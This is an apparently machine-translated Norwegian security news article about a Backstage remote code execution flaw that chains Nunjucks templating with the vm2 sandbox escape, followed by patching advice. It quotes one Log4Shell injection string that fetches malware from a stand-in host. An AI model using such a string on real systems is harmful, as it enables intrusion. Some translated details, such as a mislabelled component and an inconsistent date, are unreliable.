Log4Shell-lignende kodeutførelseshull i populært Backstage-utviklerverktøy

Forskere ved skykodingssikkerhetsselskapet Oxeye har skrevet opp en kritisk feil som de nylig oppdaget i det populære skyutviklingsverktøysettet Backstage.

Deres rapporterer inkluderer en forklaring på hvordan feilen fungerer, pluss proof-of-concept (PoC) kode som viser hvordan den kan utnyttes.

Backstage er det som er kjent som en skyutviklerportal – en slags forretningslogikk-backend som gjør det enkelt å bygge nettbaserte APIer (applikasjonsprogrammeringsgrensesnitt) for å tillate kodere i og utenfor virksomheten din å samhandle med online-tjenestene dine.

Med ordene til selve prosjektet, opprinnelig opprettet på Spotify, men nå åpen kildekode på GutHub:

Backstage er en åpen plattform for å bygge utviklerportaler. Drevet av en sentralisert programvarekatalog gjenoppretter Backstage orden i mikrotjenester og infrastruktur og lar produktteamene dine sende høykvalitetskode raskt – uten at det går på bekostning av autonomien.

Backstage forener all infrastrukturverktøy, tjenester og dokumentasjon for å skape et strømlinjeformet utviklingsmiljø fra ende til annen.

Nei, vi vet ikke helt hva det betyr heller, men vi vet at verktøysettet er skrevet i JavaScript, kjører ved hjelp av JavaScript-systemet på serversiden node.js, og trekker inn et nett av forsyningskjedeavhengigheter fra NPM-økosystemet.

NPM er forkortelse for Node Package Manager, et automatisert verktøysett for å sikre at back-end JavaScript-koden din enkelt kan bruke et bredt spekter av åpen kildekode-biblioteker som gir populære, forhåndsskrevne hjelpeverktøy for alt fra kryptografi og databaseadministrasjon til logging og versjonskontroll.

Ekstern kjøring av kode

Dessverre kan feilen som avsløres i dag, hvis den ikke er oppdatering, gi uautentiserte utenforstående (løst, alle som kan opprette API-tilkoblinger til serverne dine) en måte å utløse ekstern kjøring av kode (RCE) inne i forretningslogikkserverne på nettverket ditt.

Men heldigvis, hvis vi har tolket Oxeyes oppskrift riktig, avhenger angrepet de beskriver for deres Backstage RCE av en sekvens av kodingsfeil som til slutt avhenger av en spesifikk feil, utpekt CVE-2022-36067 i en forsyningskjedekomponent som Backstage er avhengig av kalt vm2.

Hvis du lurer på, er vm2 en generell NPM-modul som implementerer en "virtuell maskinsandkasse" som tar sikte på å gjøre potensielt risikabelt JavaScript litt tryggere å kjøre på serverne dine.

Den CVE-2022-36067-feilen i vm2 var rapportert tilbake i august 2022 av Oxeye selv (som ga det et PR-vennlig navn "Sandbreak", fordi det brøt ut av sandkassen), og lappet omgående av vm2-teamet for nesten tre måneder siden.

Så, så langt vi kan se, hvis du er en Backstage-bruker, vil du sørge for at du har lappet alle risikokomponenter i Backstage-oppsettet ditt...

…men hvis du lappet vm2-komponenten som var sårbar for Sandbreak for alle disse månedene siden, ser det ut til at du ikke er direkte sårbar for utnyttelsen beskrevet i Oxeyes siste avsløring.

Dessuten, hvis Backstage-serverne dine er konfigurert slik gode retningslinjer for nettsikkerhet tilsier, med autentisering som kreves både ved nettverkskanten og inne i nettverket, vil du ikke være i fare for tilfeldige "kun for forskerformål"-sonder fra "hjelpsomme" individer. for å vise at de er interessert i cybertrussel «forskning».

Et "Emmentaler-ost"-angrep

Enkelt sagt er de nylig avslørte sikkerhetsproblemene bivirkningen av en rekke sikkerhetsproblemer, som hull i skiver av Emmenthal-ost som kan trenge gjennom i rekkefølge hvis en angriper er i stand til å sette opp minst ett hull på hver skive.

Slik vi forstår det, inkluderer Backstage en komponent kalt Scaffolder, som, som navnet antyder, hjelper deg med å administrere de forskjellige tilleggene (kjent som plugins) som utviklerfellesskapet ditt kanskje vil ha eller trenger.

Scaffolder bruker på sin side et meldingsloggingssystem fra Mozilla kjent som Nunjucks, som inkluderer det som er kjent som strengmaling in node.js sirkler, som strenginterpolasjon i Java-verdenen, og som strengerstatning til sysadmins som bruker kommandoskall som Bash.

Hvis strenginterpolasjon ringer en bjelle, er det sannsynligvis fordi den lå i hjertet av Log4Shell sårbarhet tilbake i desember 2021, og av Follina feil i midten av 2022.

Det er her du kan skrive om innholdet i en loggmelding basert på spesielle «kodetegn» i en strengmal, slik at en streng som f.eks. $USER kan erstattes med kontonavnet som brukes av serveren, eller ${PID} kan hente gjeldende prosess-ID.

I det ekstreme tilfellet med Log4Shell, den nysgjerrige besvergelsen ${jndi:ldap://example.com:8888/malware} kan direkte lure serveren til å laste ned et program kalt malware fra example.com og kjører den stille i bakgrunnen.

Med andre ord, du må være helt sikker på at data som kommer fra en upålitelig kilde, for eksempel en ekstern bruker, aldri sendes blindt inn i en strengmal- eller strenginterpolasjonsfunksjon som skal brukes som selve malteksten.

Hvis en ekstern bruker, for eksempel, prøver å lure serveren din ved å oppgi brukernavnet som ${{RISKY}} (forutsatt at malbiblioteket bruker ${{...}} som dens spesielle markør), må du sørge for at loggingskoden registrerer den slemme teksten, bokstavelig talt slik den ble mottatt...

…i stedet for å la teksten som logges ta kontroll over selve loggingsfunksjonen!

Med ordene til et gammelt barnerim, må du sørge for at du ikke ender opp med å synge: «Det er et hull i min ${{BUCKET}}, kjære Liza, kjære Liza, det er et hull i meg ${{BUCKET}}, kjære Liza. Et hull!"

Pakket inn i et sikkerhetsteppe

For å være rettferdig, er den kanskje for kraftige mal-/interpolasjonsfunksjonaliteten til Nunjucks pakket inn av Backstage i enda en forsyningskjedekomponent, nemlig det nevnte sandboxing-systemet vm2, som skal begrense faren som en ondsinnet bruker kan gjøre med booby -fangede inndata.

Dessverre var Oxeye-forskere i stand til å pare deres nyoppdagede strengmal-kodeutløsende stier i Backstage + Scaffolder + Nunjucks med den eldre CVE-2022-36067-sårbarheten i vm2-sikkerhetspakken for å oppnå potensiell ekstern kjøring av kode på en Backstage-server .

Hva gjør jeg?

Hvis du er en Backstage-bruker:

• Sørg for at du har de nyeste versjonene av Backstage og dets avhengigheter, herunder plugin-scaffolder-backend komponent. I følge Oxeye ble de relevante feilene i Backstage-koden lappet innen 01. september 2022, slik at enhver offisiell punktutgivelse etter disse dataene bør inkludere rettelsene. I skrivende stund [2022-11-1T16:00Z], inkluderer det Backstage 1.6.0, 1.7.0 og 1.8.0, utgitt på henholdsvis 2022-09-21, 2022-10-18 og 2022-11-15.
• Sjekk at din Backstage-installasjon har autentisering konfigurert slik du forventer. Oxeye hevder at autentisering er av som standard, og at etter å ha fulgt Backstage retningslinjer, tillot backend-servere (som sannsynligvis ikke skal eksponeres eksternt uansett) fortsatt uautentisert tilgang. Det kan være det du ønsker, men vi anbefaler å bruke dette problemet som en grunn til å sjekke at oppsettet samsvarer med intensjonene dine.
• Sjekk hvilke deler av din Backstage-infrastruktur som kan nås fra internett. Nok en gang, bruk dette problemet som en grunn til å skanne ditt eget nettverk fra utsiden hvis du ikke har gjort det nylig.

Hvis du er en node.js/NPM-bruker:

• Sørg for at du har den nyeste versjonen av vm2 sandbox-komponenten. Du kan ha dette installert som en avhengighet av annen programvare du bruker, selv om du ikke har Backstage. CVE-2022-36067-sårbarheten ble oppdatering 2022-08-28, så du vil ha vm2-versjon 3.9.11 eller senere.

Hvis du er en programmerer:

• Vær så defensiv du kan når du ringer kraftige loggingsfunksjoner. Hvis du bruker en loggingstjeneste (inkludert Nunjucks eller Log4J) som inkluderer kraftige mal-/interpolasjonsfunksjoner, slå av alle funksjoner du ikke trenger slik at de ikke kan utnyttes ved en feiltakelse. Sørg for at uklarerte inndata aldri i seg selv brukes som en mal, og forhindrer dermed angripere i å rulle sine egne direkte farlige inndatastrenger.
• Uavhengig av andre forholdsregler på plass, rens logging-inngangene og -utgangene dine. Husk at noen andre må åpne loggfilene dine i fremtiden. Ikke la noen utilsiktede booby-traps bli skrevet inn i loggfilen din der de kan forårsake problemer senere, for eksempel HTML-fragmenter med skriptkoder igjen. (Noen kan åpne filen i en nettleser ved en feiltakelse.)

Selv når du mottar innspill fra en pålitelig kilde, er det sjelden noen grunn til å ikke ta det gjennom dine egne desinfiseringskontroller før du bruker det.

(Du kan av og til rettferdiggjøre et unntak, for eksempel av ytelsesgrunner, men det bør være et unntak, ikke regelen.)

For det første hjelper det å sjekke på nytt å oppdage feil som tidligere kodere kan ha gjort i god tro; for det andre bidrar det til å begrense spredningen av dårlige eller booby-fangede data hvis en annen del av økosystemet ditt blir kompromittert.

Saken med de skivene av Emmenthal-ost vi nevnte tidligere er at selv om de er gjennomtrengelige hvis minst ett hull er på linje på hvert ark...

…de er ugjennomtrengelige hvis det er minst ett ark med hull som ikke står på linje i det hele tatt!

---